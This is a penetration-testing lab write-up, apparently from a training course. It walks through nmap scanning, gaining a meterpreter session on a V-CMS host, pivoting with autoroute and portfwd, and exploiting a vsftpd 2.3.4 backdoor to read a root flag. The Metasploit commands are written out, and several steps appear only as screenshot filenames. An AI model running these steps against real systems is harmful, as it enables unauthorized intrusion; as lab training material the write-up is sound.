Skip to main content

LAB 1

First machine

nmap

nmap -sn 192.127.164.0/24 -T 4

demo.ine.local (192.127.164.3)

Then nmap -T 4 -A -sC -sV 192.127.164.3

192.127.164.3
80/tcp open http nginx 1.14.0
|_http-title: V-CMS-Powered by V-CMS
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.14.0
3306/tcp open mysql MySQL (unauthorized)

0030c47ef702df45b337c107009f2daf.png 01fc8da157f6d651155de9b663f93fa9.png 322dee6901a232b7ff6566820314d568.png 485712e0f6845b955287667d56da88fb.png fd0b82b72abe9c40c8307bca8122b849.png After configure the session, exploit 2780eb9b72b75cd6d372ef1bdaf8bb22.png 7f4bdb22b437444d4b717a638022c004.png

Pivoting from this machine

From the hacked machine 5b00c98ed84ffdef960660fdc635ab9e.png And now we can't access to that ip from our machine, so we need to pivot

autoroute

This command is used to add meterpreter session specific routes to the Metasploit's routing table. These routes can be used to pivot to the otherwise unreachanble network.

c089e1ecab963bd6c94075f3dcf1f48d.png e26b885e712d4e7a005217aa3c1f6230.png Background the meterpreter session and check if the route is added successfully to the metasploit's routing table.

5f596ce1c6e02652d00dc38c3ef73729.png

background
route print

We will run auxiliary TCP port scanning module to discover any available hosts (From IP .3 to .10). And, if any of ports 80, 8080, 445, 21 and 22 are open on those hosts.

use auxiliary/scanner/portscan/tcp
set PORTS 80, 8080, 445, 21, 22
set RHOSTS 192.158.21.1-10
exploit

a8c718b72a1ba436ddf90745532889f1.png

In the meterpreter session there is an utility "portfwd" which allows forwarding remote machine port to the local machine port. We want to target port 21 of that machine so we will forward remote port 21 to the local port 1234.

show sessions
sessions 1
portfwd -h
portfwd add -l 1234 -p 21 -r 192.158.21.3
portfwd list

1df1eddd9741883b48ca36f56b23f6f9.png

Now, scan the local port using Nmap.

background
nmap -sS -sV -p 1234 localhost

b84161440d3f6559c2b3cf7d8658e432.png

The version of ftp is vsftpd, so we find it search vsftpd ccaaa92c7fc1f1919bd53a54f4997e57.png

And know we exploit it

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.158.21.3
exploit
id

9fb3cf82f434fcfc38bf50d598d4ad64.png

2d4a9d28a8a60bdaafbe79e2dd5d9797.png

ls /root
cat /root/flag.txt